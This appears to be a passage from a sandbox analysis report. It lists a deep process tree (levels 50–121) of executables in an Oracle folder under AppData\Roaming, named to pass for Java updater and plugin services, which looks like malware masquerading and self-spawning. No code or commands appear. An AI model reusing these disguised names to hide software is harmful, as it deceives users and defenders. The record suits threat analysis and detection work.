C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe50⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe51⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe52⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe53⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe54⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe55⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe56⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe57⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe58⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe59⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe60⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe61⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe62⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe63⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe64⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe65⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_service.exe66⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_service.exe67⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe68⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe69⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin.exe70⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe71⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe72⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe73⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe74⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe75⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe76⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe77⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe78⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe79⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_service.exe80⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe81⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe82⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe83⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe84⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe85⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_service.exe86⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe87⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe88⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe89⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe90⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe91⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe92⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe93⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe94⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe95⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservicew.exe96⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_service.exe97⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exe98⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_update.exe99⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe100⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdaterw.exe101⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform.exe102⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_service.exe103⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatformw.exe104⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_update.exe105⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe106⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe107⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntimew.exe108⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_platform.exe109⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport.exe110⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_update.exe111⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_update.exe112⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javasupport_platform.exe113⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime_platform.exe114⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exeC:\Users\Admin\AppData\Roaming\Oracle\javapluginw.exe115⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exeC:\Users\Admin\AppData\Roaming\Oracle\javaruntime.exe116⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe117⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice_platform.exe118⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exeC:\Users\Admin\AppData\Roaming\Oracle\javaupdater_platform.exe119⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaservice.exeC:\Users\Admin\AppData\Roaming\Oracle\javaservice.exe120⤵
-
C:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exeC:\Users\Admin\AppData\Roaming\Oracle\javaplugin_update.exe121⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-